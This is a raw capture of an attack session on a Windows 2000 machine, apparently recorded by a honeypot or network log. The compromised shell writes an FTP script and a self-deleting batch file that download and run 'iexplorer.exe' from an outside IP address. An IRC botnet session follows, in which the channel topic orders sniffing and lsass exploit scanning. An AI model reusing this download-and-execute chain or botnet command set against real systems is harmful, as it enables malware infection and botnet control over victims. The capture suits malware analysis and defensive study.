VICTIM:  	Microsoft Windows 2000 [Version 5.00.2195] 
VICTIM:  	(C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> 
VICTIM:  	echo open 91.66.175.252 8086>.pif C:\\WINNT\\system32> 
VICTIM:  	echo user a a>>.pif C:\\WINNT\\system32>echo binary>>.pif C:\\WINNT\\system32> 
VICTIM:  	echo GET iexplorer.exe>>.pif C:\\WINNT\\system32> 
VICTIM:  	echo bye>>.pif C:\\WINNT\\system32> 
VICTIM:  	echo @echo off >c.batC:\\WINNT\\system32> 
VICTIM:  	echo ftp -n -v -s:.pif >>c.batC:\\WINNT\\system32> 
VICTIM:  	echo iexplorer.exe >>c.batC:\\WINNT\\system32> 
VICTIM:  	echo del .pif >>c.batC:\\WINNT\\system32> 
VICTIM:  	echo del /F c.bat >>c.batC:\\WINNT\\system32> 
VICTIM:  	echo exit /y >>c.batC:\\WINNT\\system32> 
ATTACKER:	220  
VICTIM:  	USER a 
ATTACKER:	331  
VICTIM:  	PASS a 
ATTACKER:	230  
VICTIM:  	TYPE I 
ATTACKER:	200  
VICTIM:  	PORT 192,168,1,90,4, 
ATTACKER:	200  
ATTACKER:	RETR iexplorer.exe 
ATTACKER:	150  
ATTACKER:	226  
VICTIM:  	QUIT 
ATTACKER:	221  
VICTIM:  	NICK `fqslrdflUSER `fqslrdfl 0 0 :`fqslrdfl 
ATTACKER:	:aaa.40796.com 001 `fqslrdfl :time, `fqslrdfl!~fqslrdfl@192.168.1.90:aaa.40796.com 005 `fqslrdfl MAP KNOCK SAFELIST HCN MAXCHANNELS=500 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server:aaa.40796.com 005 `fqslrdfl WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=time CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server:aaa.40796.com 422 `fqslrdfl :MOTD File is missing:`fqslrdfl MODE `fqslrdfl :+i 
VICTIM:  	JOIN #.has hs 
ATTACKER:	:`fqslrdfl!~fqslrdfl@192.168.1.90 JOIN :#.has:aaa.40796.com 332 `fqslrdfl #.has :.join #.k |`sniff.on -s |`adv.start lsass 100 3 0 x.x.x.x -r -s |`i.join #.sd:aaa.40796.com 333 `fqslrdfl #.has jims 1218486834:aaa.40796.com 353 `fqslrdfl @ #.has :`fqslrdfl @yess :aaa.40796.com 366 `fqslrdfl #.has :End of /NAMES list. 
VICTIM:  	USERHOST `fqslrdflJOIN #.has hsUSERHOST `fqslrdflJOIN #.has hsUSERHOST `fqslrdfl 
ATTACKER:	:aaa.40796.com 302 `fqslrdfl :`fqslrdfl=+~fqslrdfl@192.168.1.90    :aaa.40796.com 302 `fqslrdfl :`fqslrdfl=+~fqslrdfl@192.168.1.90    :aaa.40796.com 302 `fqslrdfl :`fqslrdfl=+~fqslrdfl@192.168.1.90     
VICTIM:  	JOIN #.sd  
ATTACKER:	:`fqslrdfl!~fqslrdfl@192.168.1.90 JOIN :#.sd:aaa.40796.com 353 `fqslrdfl @ #.sd :`fqslrdfl @yess :aaa.40796.com 366 `fqslrdfl #.sd :End of /NAMES list. 
ATTACKER:	PING :aaa.40796.com 
ATTACKER:	PONG :aaa.40796.com